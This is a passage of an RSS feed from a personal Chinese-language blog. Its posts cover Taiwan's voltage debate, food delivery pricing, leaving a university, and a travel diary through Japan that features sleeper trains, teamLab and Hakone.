</p>
<p>想說我也就來交換沒多久，不然就 Amazon 隨便買一個便宜的 Philips 吹風機頂著用，要走的時候再丟到 Facebook 社團上轉賣掉變現成旅費就好了。原本我預期這麼便宜，大概是爛到有剩，但神奇的是它的風量超大，大到我邊吹邊想，日本 BIC CAMERA 裡的那一排高級吹風機和 Dyson 是不是都把我們當盤子：）</p>
<p>時間快轉到我回台灣後第一次去大賣場，我突然想起之前在法國買的那個吹風機，所以就特地繞去家電的展示區繞了兩圈。真巧，還真的給我找到了，雖然型號不一樣，但看那個型號只差了一個數字，大概可以猜到他就是設計上是一模一樣的東西，只是針對不同地區做成不同的電壓和插頭。哦還有，價錢大約是兩倍左右。我猜是像吹風機這種高功率電器，在電壓大的情況下能源轉換效率比較好，相對來說，如果在電壓小的時候還要維持一樣的出風量，代表電器的設計和用料總是要好上一點吧。但以上這些都只是我個人的猜測。</p>
<p>後來暑假去墾丁玩的時候，我們順路去了台電南部展示館 (夏天去墾丁這種熱到靠北的地方，路上有不用門票有冷氣又有賣冰棒，能不去麼？)。其中展區就剛好有一小部分是在推廣用 220V 來取代現有的 110V，最明顯直接的好處就是，全台灣預計每年可以省下 10 億度浪費在傳輸損耗上的電。後來我上網查了一下，台電的確在 2018 年的時候就已經有「試水溫」的放消息出來測風向，甚至連 <a href="https://web.archive.org/web/20220831182933/https://www.bbc.com/zhongwen/trad/45876874" target="_blank" rel="noreferrer">BBC<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 都報導了。但畢竟這種政策，好處小到成功了不會有人被記功，但要是出包，鐵定是下至基層每天修到累死，上至執政黨全都要被幹翻。而且這種對整體社會有非常大影響的政策，最後當然也免不了議題白熱化和政治化。最明顯的例子就已經寫在 BBC 的標題了：明明和台灣最密切交流的國家是日本 (100V) 和美國 (120V)，與其說是接軌國際，其實更像是接軌中國 (220V)。</p>
<p>所以我想，短期內大概是沒人會淌這個渾水吧。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">110v-or-220v</guid><pubDate>Wed, 10 Aug 2022 14:38:12 +0800</pubDate></item><item><title>施主 我們再也回不去了</title><link>https://blog.tomy.me/zh-tw/posts/we-are-never-going-back/</link><description>外送平台如何把疫情當作溫水，把台灣人當成青蛙給煮了</description><content:encoded><![CDATA[<p>記得某次，我要幫電腦的備份買一顆硬碟。我先在網路上查好了價錢，然後決定實際走一趟光華商場，看看能不能撿到一些便宜。果不其然，才晃沒幾間，就問到了幾家比網路上便宜的價錢，說實在也沒少多少，差不多就是去掉個零頭。但正當我滿意的掏出信用卡，準備快速結完帳高歌離席的時候，老闆此時突然天外飛來一句：「想刷卡，那就要加收手．續．費」。他啪啪啪的按了按計算機，然後轉過來給我看。哇噻，不偏不倚，跟網路上的價錢一模模一樣樣。從這個例子就可以發現，網路上的價錢其實也沒有比較貴，只是他事先預設了你會刷卡，所以事先把那個信用卡公司抽的趴數算進去，反正就算你不刷，他多賺也無妨。</p>
<p>而同樣的故事現在在外送平台上又發生了一次。</p>
<p>一開始，沒人覺得付 60 塊的運費給外送員是一個好主意。一直到全世界的創投開始砸錢打補貼戰，大家開始關注這個可以免費送晚餐到家的新玩具。然後第二階段來了，開始有人發現，為什麼有些店家可以在外送平台上收比在店面外帶還要貴的價錢，而平台的應對政策也很簡單，我們幫所有「始終如一的優良店家」掛上「店內價」的標籤，確保消費者不會因為是外送，就要被扒一層皮。久而久之，店家也不是吃素的，反正只要是店內價就好了嘛，那與其把外送平台上的價錢往下調，倒不如就當作整間店都漲價了，管你是外帶外送還是內用，就全部一起漲到同一個價錢吧。</p>
<p>俗話說溫水煮青蛙，現在疫情封城把每個以前對外送沒興趣的人全都拉進來玩一下，水滾了，可以再加點調味的，左邊這罐寫著抽補貼，右邊這罐寫生鮮雜貨也都送。</p>
<p>解封之後，疫情走了沒不知道，但我想外送平台是不會走了，他們已經成功的成為現代人生活中不可或缺的一環。消費者現在享有在家就可以吃遍各種美食的方便，餐廳獲得了前所未有的訂單量，平台也從每一張訂單抽手續費賺的滿滿的。資本主義的社會再一次完成了供需的再分配，皆大歡喜。</p>
<p>巷口便當店的雞腿便當漲了 20 塊，不知道每天散步去買便當的阿嬤吃著雞腿的時候，會不會想到其實那隻雞腿其實也許沒有漲價。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">we-are-never-going-back</guid><pubDate>Fri, 05 Aug 2022 00:40:55 +0800</pubDate></item><item><title>再會啦！中興大學</title><link>https://blog.tomy.me/zh-tw/posts/peace-out-nchu/</link><description>請記得我曾經來過</description><content:encoded><![CDATA[<p>上午 10 點 40 分，捷運台北 101 站東側的驗票閘門錄到一張學生版一卡通的進站紀錄。月台的閉路監視器拍攝到一名背著灰色背包的男子，在第 4 節車廂處候車，並在 10 點 45 分搭上了開往淡水方向的列車。11 點 07 分，圓山站出口 2 的驗票閘門為同一張一卡通驗證出站。站外監視器最後拍攝到的畫面，是他在背影，消失在庫倫街左轉的轉角。他在這段旅程中的一舉一動被各種紙本和電子的形式被記錄了下來，但沒有任何活生生的人，哪怕是站務人員、司機、或是乘客能夠出面指認他曾經存在。</p>
<p>這曾是我考慮在中興度過我後半段大學生活的方式：揮一揮衣袖，不帶走一片雲彩。</p>
<p>可是如果沒有人記得，那他還存在過嗎？</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/peace-out-nchu/cs-department.jpg"
      class="mx-auto my-0 rounded-md"
      alt="資工系魯蛇"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/peace-out-nchu/drama-1.jpg"
      class="mx-auto my-0 rounded-md"
      alt="劇坊我的愛"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/peace-out-nchu/drama-2.jpg"
      class="mx-auto my-0 rounded-md"
      alt="劇坊我的愛"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/peace-out-nchu/nlplab-1.jpg"
      class="mx-auto my-0 rounded-md"
      alt="NLP 實驗室"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/peace-out-nchu/nlplab-2.jpg"
      class="mx-auto my-0 rounded-md"
      alt="NLP 實驗室"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/peace-out-nchu/the-trans.jpg"
      class="mx-auto my-0 rounded-md"
      alt="邊緣轉學轉系小圈圈"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>如果國文課曾經教會了我什麼，那就是上一位沒帶走那片雲彩的，最後沒能夠安全的降落。所以為了讓我能平安的抵達，我想我還是揮一揮魔杖，帶走屬於自己的一片雲彩吧。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/peace-out-nchu/swish-the-wand.jpg"
      class="mx-auto my-0 rounded-md"
      alt="揮一揮魔杖"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>謝謝豐富這段故事的每一位</p>
<p>讓一切都值得</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">peace-out-nchu</guid><pubDate>Fri, 31 Dec 2021 20:22:41 +0800</pubDate></item><item><title>為了一場雪</title><link>https://blog.tomy.me/zh-tw/posts/rolling-deep-4/</link><description>就這麼輕鬆甚至有點隨便的把行程改掉吧</description><content:encoded><![CDATA[<h2 id="day-5" class="relative group">Day 5 </h2><p>東京市區的最後一個行程來自我幾年前在華山看的一個展覽，teamLab 的互動藝術展。這個展應該是我少數看完之後印象特別深刻的展，所以回家之後就一直有繼續追蹤這個工作室。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-4/teamlab-planets.jpg"
      class="mx-auto my-0 rounded-md"
      alt="teamLab Planets"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">teamLab 在台場的主場館，去的時間剛好可以看到夕陽，可惜在背面拍不到</figcaption>
</figure>
</p>
<p>那時候看到網站上的資料我就有發現其實海外展出的 (包含來台灣我看的那一次) 都只能算是低配版，所以我這次來東京台場主場館就是想來看相對比較完整的版本。所以究竟低配版跟完整版差在哪，我覺得主要有兩個，一個是場館面積，完整版我估應該比台北華山的倉庫大個 3 倍左右，面積大小除了會影響展覽的子區域 (展覽項目) 有多少，也會影響到單一個區域能有多大的互動空間；另一個最大的不同就是，參觀完整版的展覽前要脫鞋子，因為有一部分展區是有水的，但即便是在沒有水的展區，我覺得赤腳走在不同材質地板的展區其實也更完整了不同的感官體驗。總而言之就是一個非常 mind-blowing 的展覽，我覺得可能很難有其他工作室短期內能複製相似的體驗。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-4/colorful-mirror-in-teamlab.jpg"
      class="mx-auto my-0 rounded-md"
      alt="teamLab 裡的彩色鏡世界"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">雖然沈浸感很強，可惜要拍的好看其實不容易，這應該是我少數抓到比較滿意的角度</figcaption>
</figure>
</p>
<p>非常剛好，teamLabs 下個月又要巡迴來台灣了，這次是在士林科教館。雖然我估計應該也是低配版，但還是很推薦大家去看，沒意外我應該也會找時間再去看一次。(想不到我也會有業配吧 ((並沒有</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-4/hakone-yumoto-station.jpg"
      class="mx-auto my-0 rounded-md"
      alt="箱根湯本駅"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">箱根湯本車站在晚上點燈還蠻漂亮的，只要花 ¥100 就可以搭巡迴巴士到合作的溫泉旅館</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-4/owakudani.jpg"
      class="mx-auto my-0 rounded-md"
      alt="大涌谷蛋"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">大涌谷山頂的黑蛋很有名</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-4/owakudani-cone.jpg"
      class="mx-auto my-0 rounded-md"
      alt="大涌谷甜筒"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">但我還是覺得冰淇淋比較好吃 (˶‾᷄ ⁻̫ ‾᷅˵)</figcaption>
</figure>
</p>
<h2 id="day-6" class="relative group">Day 6 </h2><p>離開東京之後的下一站，是這趟旅程少數比較親近大自然的行程——箱根。如果要一句話描述箱根，那大概就是「溫泉版日月潭」，概念很簡單，就是有一座湖，周邊有一些不算雷、可以踩點、但好像沒去也不會可惜的小景點。</p>
<p>但是來這個地方最適合做的事情其實是「什麼都不做」，如果你想要再爽一點點，就直接找一間有天然溫泉的旅館，保證 chill 出新高度。但我前面也說我的這一段行程是大自然，所以前面這一大串領悟都是我在走完一大圈之後才發現的小撇步，要是有人早點跟我說後面的景點其實很普，我大概下午 3 點直接旅館躺平。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-4/ichinoyu.jpg"
      class="mx-auto my-0 rounded-md"
      alt="一の湯"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">一の湯創立於寬永 7 年，老闆娘每天都會把今天下榻的客人名字寫在門口的木板上</figcaption>
</figure>
</p>
<h2 id="day-7" class="relative group">Day 7 </h2><p>這趟旅程最後一天的計畫本來是在早上接近中午的時候抵達名古屋，然後會在市區踩幾個點，最後去名花之里看個夕陽。身為一個從小到大沒看過天空下雪的人，我在出發前沒來由的產生了一個錯誤的認知，就是 1 月多的箱根每天都在下雪。雖然我在出發前本來沒有特別在意有沒有看到下雪這件事，但不知道身上哪根毛突然被雷劈到，就覺得我這一趟非看到天空下一場雪不可，所以在吃完晚餐、泡完溫泉回房間之後，我馬上就打開電腦開始找能看得到下雪的地方。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-4/train-to-snow.jpg"
      class="mx-auto my-0 rounded-md"
      alt="開往 GALA 湯沢的新幹線"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">隔天下山之後又折返回到東京，往東北方向前進</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-4/omelette-rice-at-gala-yuzawa.jpg"
      class="mx-auto my-0 rounded-md"
      alt="GALA 湯沢滑雪場的歐姆蛋包飯"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">滑雪度假村的供餐其實意外的好吃</figcaption>
</figure>
</p>
<p>所以就只為了看這一場雪，我捨棄了原本名古屋的行程，搭往名古屋相反的方向，來到 GALA 湯澤滑雪度假村，吃了一頓午餐和一支冰淇淋，堆了一個雪人，然後再往回頭搭 4~5 個小時的新幹線趕最後一班特急列車到到名古屋機場的旅館 check-in 。</p>
<p>礙於這系列的遊記有點歹戲拖棚，最後隔天我錯過回台灣的飛機，然後差點要在名古屋吃年夜飯的故事我就先不說了，該是來總結一下這趟旅行了。</p>
<p>說是紀念或是慶祝都行，我想我的確是透過促使這段旅行成行所代表的一種儀式感，來向我生命中的某個階段告別，並且準備好 move on 到下一個階段了，但除了儀式感的表面，實際旅程的種種細節也算是為這個儀式感烙下了一些更深刻的感受。</p>
<p>小的時候，很多題目的選項都是周遭的大人挑過的選項，而這些選項，會在慢慢長大之後變的模糊，甚至消失。這雖然不是一件容易被察覺的事情，但我覺得是一個衡量長大成人非常重要的指標，也是我在這趟旅程最大的感觸——長大的意義就是要自己做主了。而自己作主的意思就是自己要能夠去承擔選擇背後的後果。雖然聽起來很困難，但好處也相對明顯：當檯面上的選項都差強人意，那就勇敢的去創造一個新的。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-4/honoring-the-trip-of-my-faith.jpg"
      class="mx-auto my-0 rounded-md"
      alt="漫步京都街頭"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">這是屬於我的旅行，第一趟忠於自己的旅行</figcaption>
</figure>
</p>
<p>而我想也就是透過主導這些選擇，最終使一個人的人格變的更加立體，更證明自己真真實實的活著吧。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">rolling-deep-4</guid><pubDate>Thu, 23 Sep 2021 20:59:16 +0800</pubDate></item><item><title>火車印象</title><link>https://blog.tomy.me/zh-tw/posts/rolling-deep-3/</link><description>醒夫的童年印象是紙船，我的是火車</description><content:encoded><![CDATA[<h2 id="day-4" class="relative group">Day 4 </h2>
<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x8iv4gx"></script>
    <style type="text/css">
      
      .dailymotion-player-root,
      .dailymotion-player-wrapper {
        margin-left: auto;
        margin-right: auto;
        margin-top: 0;
        margin-bottom: 0;
        border-radius: 0.375rem;
      }
    </style>
<figcaption class="text-center">這小王八蛋一定想不到他的 21 歲生日會在真實世界的那台列車上醒來</figcaption>
<p>285 系列車是我們家少數不是新幹線的列車組，少了流線型的車頭和簡潔的配色，它當然就不是我小時候最喜歡拿起來把玩的那一列火車。但因為它的車頭是方形的，再加上它可以放比其他列車更大顆的電池，所以<del>可以用來撞我弟的車</del>比較不容易出軌</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-3/planning-trip-on-night-train.jpg"
      class="mx-auto my-0 rounded-md"
      alt="在寢台列車上規劃明天的行程"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">洗完澡要吃宵夜的時候就到大阪ㄌ</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-3/my-bed-on-sunrise-izumo.jpg"
      class="mx-auto my-0 rounded-md"
      alt="サンライズ瀬戸・出雲號上的 Nobi Nobi 座席"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">雖然空間看起來很小棉被又很薄，但其實地毯下有埋熱管，完全不會冷</figcaption>
</figure>
</p>
<p>這個型號的車輛對應的路線就是サンライズ瀬戸・出雲號。有兩個名字的原因是因為這班列車其實是兩部列車併結，一起從東京出發，到岡山分離，前半段的瀨戶號會接著由瀬戸大橋往四國的方向前進，而後半段的出雲號則會走山陰線到出雲市。如果你是對日本地理比較熟悉的人，在看上一集行經的路線時可能就會發現，我在抵達京都之後，沒有繼續往中部地區，而是繞回來往大阪、神戶，為的就是要在最後從岡山上車，看兩輛列車在這裡併結。</p>
<p>關東第一天的行程還是跟鐵路脫不了關係 (到底有多愛XD) ——大宮鐵道博物館。</p>
<p>其實那天白天的行程本來是還想再去另外兩個博物館，一個是橫濱的原鉄道模型博物館，另外一個是合味道紀念館。但不知道是鐵道博物館太大還是因為是鐵道所以我逛比較久，後面兩個根本沒時間去 QQQ。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-3/railway-museum.jpg"
      class="mx-auto my-0 rounded-md"
      alt="鐵道博物館門口"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">鐵道博物館入口~</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-3/inside-railway-museum.jpg"
      class="mx-auto my-0 rounded-md"
      alt="鐵道博物館內"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">等等 太大了吧</figcaption>
</figure>
</p>
<p>但鐵博館內容蠻豐富的，車棚有很多很經典的列車都可以走進去看，另外還有兩棟展覽館可以逛，到最後面頂樓還有一個露天的觀景台可以近距離看到旁邊經過的新幹線和在來線。整體而言規劃非常完善，一方面是內容，你想得到的和你想不到的都有，另一方面是它完全可以滿足家長週末帶小孩出門所有可能的需求，在這裡泡上一整天其實並不困難，我覺得台灣似乎還有任何一個博物館或是觀光工廠有成功做到這件事。</p>
<h2 id="day-5" class="relative group">Day 5 </h2><p>隔天又是一個跟在福岡類似的掃街行程，這次是在中目黑。中目黑最近最有名的景點就是星巴克在目黑川的河岸邊開了一間超大的典藏咖啡工坊，估計是疫情前台灣網紅海外打卡次數最高的熱點。但我第一次認識中目黑其實是再上一趟來東京的時候。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-3/under-naka-meguro-station.jpg"
      class="mx-auto my-0 rounded-md"
      alt="中目黑車站下"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">中目黑站的路口，為什麼拍起來異常整齊 🤔</figcaption>
</figure>
</p>
<p>當時去的是位在目黑川對面，代官山的蔦屋書店，這家蔦屋書店的位置距離最近的地鐵站要走路至少要大概 10 分鐘，走起來的感覺以外的和東京的其他街道很不一樣，有種東京版天母的感覺，沿路上也有很多門面上看不太出來是在賣什麼葫蘆又有點酷酷的店。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-3/meguro-river.jpg"
      class="mx-auto my-0 rounded-md"
      alt="目黑川"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">即便不是櫻花季，沒有開花的目黑川還是很美</figcaption>
</figure>
</p>
<p>這次會決定再來這裡掃街，當然也還是因為這些酷酷的店，比方說 Traveler&rsquo;s Factory 的文具店，雖然中目黑沒有像代官山那麼有神秘感，但河岸的風光很漂亮，附近臨時找到的午餐也意外的好吃，應該是我未來到東京都還會再次造訪的地方。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-3/travelers-factory.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Traveler&rsquo;s Factory"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">Traveler&rsquo;s Factory 的創始店，可惜那天公休 哭啊</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-3/what-store-is-this.jpg"
      class="mx-auto my-0 rounded-md"
      alt="不知道是什麼的店"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">所以這間店的名字叫&hellip;?</figcaption>
</figure>
</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">rolling-deep-3</guid><pubDate>Thu, 16 Sep 2021 03:10:53 +0800</pubDate></item><item><title>人生第二隻抹茶冰淇淋</title><link>https://blog.tomy.me/zh-tw/posts/rolling-deep-2/</link><description>其實不如印象中的苦澀</description><content:encoded><![CDATA[<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-2/tsukiya-kyoto.jpg"
      class="mx-auto my-0 rounded-md"
      alt="御旅宿 月屋"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">掌櫃婆婆對不起我是作息破壞王 QQQQQ</figcaption>
</figure>
</p>
<p>雖然我在上一集最後有提到我還是順利到達京都了，但到的時候其實也超過 10 點了。那天晚上住的是我特別找到一間有百年歷史的老房子翻修成的民宿，我走進去的時候才發現接待的是一個看起來應該是屋主的老奶奶，整個人看起來已經超想睡的，要不是為了等我 check-in 可能平常這時間根本不會是醒著的，結果超時 check-in 還只收我 ¥500，害我心裡有點過意不去&hellip;&hellip; (我真的不是故意的，誰知道尖峰時刻的新幹線這麼難劃 QQQQQ)</p>
<h2 id="day-2" class="relative group">Day 2 </h2><p>第二天一早去了宇治平等院的附近，逛起來說實在沒什麼特別的記憶點，但我嘗試了我人生中的第二隻抹茶冰淇淋。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-2/matcha-cone.jpg"
      class="mx-auto my-0 rounded-md"
      alt="抹茶甜筒"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">所以抹茶抹不抹到底是怎麼評斷的 R</figcaption>
</figure>
</p>
<p>我人生中的第一隻抹茶冰淇淋，應該是在我還非常小的時候，我只記得我跟我媽說想吃抹茶口味的，她馬上極力勸阻我你吃那麼甜才不會喜歡這種口味的東西，但我小時候就是脾氣超大的，最後還是買了，然後舔一口就丟給我爸了 XDDDDDD。</p>
<p>第二隻抹茶冰淇淋吃起來倒是意外的還不錯，我當時以為是因為在宇治，所以會特別好吃，但我回來之後有在台北再嘗試了一次，發現其實跟我在宇治吃到的沒有太大的不同，所以證明其實我的味蕾還是有隨著年齡的增長，在增加我對無糖食物的接受度 吧。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-2/apple-juice-at-blue-bottle.jpg"
      class="mx-auto my-0 rounded-md"
      alt="藍瓶咖啡的蘋果汁"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">明明去了藍瓶咖啡，但是不喜歡咖啡的我還是點了蘋果汁 xD</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-2/seikosha-bookstore.jpg"
      class="mx-auto my-0 rounded-md"
      alt="誠光社書店"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">誠光社有好多看起來酷酷的書，可是都是日文我看不懂 QQQQ</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-2/angers.jpg"
      class="mx-auto my-0 rounded-md"
      alt="ANGERS"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">ANGERS 逛起來感覺很像小器 × 無印 × niko and，推薦給喜歡野外求生的裝逼仔(X</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-2/kyoto-postcards.jpg"
      class="mx-auto my-0 rounded-md"
      alt="京都明信片"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">這趟旅程唯二的明信片，在裹具買ㄉ</figcaption>
</figure>
</p>
<p>下午又去踩了幾個我有興趣的點，藍瓶咖啡、蔦屋書店、還有一些小的獨立書店或是選物店，看到了蠻多以前沒看過的酷東西。雖然都不是什麼我現在會用得上，或是特別容易上火的東西，但我覺得事後我在買其他鬼東西的時候，變得比較懂的去看出一個產品可能的雷點，這段路上看到這些哩哩摳摳的細節所累積的經驗，其實久了還是會有不小的收穫。</p>
<h2 id="day-3" class="relative group">Day 3 </h2>
<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x8ivh0i"></script><figcaption class="text-center">你在南方的豔陽裡，鴿子紛飛 (?)</figcaption>
    <style type="text/css">
      
      .dailymotion-player-root,
      .dailymotion-player-wrapper {
        margin-left: auto;
        margin-right: auto;
        margin-top: 0;
        margin-bottom: 0;
        border-radius: 0.375rem;
      }
    </style>
<figcaption class="text-center"></figcaption>
<p>第三天轉戰大阪。不知道為什麼我的地圖上大阪的點特別的稀少，所以我這一天在大阪的行程算是相對寬鬆的，早上睡到半自然醒，然後去了大阪城公園，然後就很隨性的在公園的大噴水池前面吃著 LAWSON 的烤串當早午餐，然後一邊看日本小孩餵鴿子和追著鴿子跑 XDDDDDD。不知道是我在台灣很少有這麼 chill 的行程，還是我總覺得台灣人好像不太喜歡在公園遛小孩，這麼熱鬧的公園場景好像實在是沒在台灣看過</p>
<p>下午就是 100% 的逛街行程，去 BIC Camera 繞了一大圈，田調了一下最近日本有但台灣可能還沒有的電子玩具，當作我未來的買新給西的參考。為了從岡山發車的臥鋪列車，所以我下午 4 點多就開始慢慢往西移動了。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-2/nightview-at-kobe-kitano-ijinkan-gai.jpg"
      class="mx-auto my-0 rounded-md"
      alt="京都北野異人街"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">神戶異人館外的街道，感覺一年四季都像在過聖誕假期 (˶‾᷄ ⁻̫ ‾᷅˵)</figcaption>
</figure>
</p>
<p>在前往岡山的路上有中停了一段時間在神戶，是我特別安排的夜間散步行程。</p>
<p>從新神戶車站出來往市中心方向走一點點的地方就是北野異人館和英國館的街區，雖然晚上的時候這些地方都沒有開，但這條街逛起來其實還是滿寫意的 (?)。</p>
<p>不知道是從什麼時候開始，我開始喜歡上在一個人去外地旅遊的夜晚，戴著耳機，散步在可能繁榮又或是安靜的街道上，就好像我轉生成另一個世界的人了，過著跟我平常不一樣的生活。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-2/sunrise-izumo-bound-for-tokyo.jpg"
      class="mx-auto my-0 rounded-md"
      alt="サンライズ瀬戸・出雲號往東京"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">晚上 10 點，在岡山車站登上サンライズ瀬戸・出雲號寢台列車，離開關西前往東京。</figcaption>
</figure>
</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">rolling-deep-2</guid><pubDate>Mon, 06 Sep 2021 04:16:54 +0800</pubDate></item><item><title>喜歡風格跟自己一樣的品牌</title><link>https://blog.tomy.me/zh-tw/posts/rolling-deep-1/</link><description>就是一種樸實的存在</description><content:encoded><![CDATA[<h2 id="day-1" class="relative group">Day 1 </h2><p>雖然我出發前已經在地圖上點了不少可以去的地方，但我從來沒有把這些想去的地方連成一條線，也沒有去想過我的時間究竟能允許我去多少地方。於是我一直到下了飛機，才突然意識到我其實不知道我出了機場之後要往哪個方向走。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-1/strawberry-cheese-cone.jpg"
      class="mx-auto my-0 rounded-md"
      alt="草莓起司甜筒"
      loading="lazy" decoding="async"
    />
  </picture>

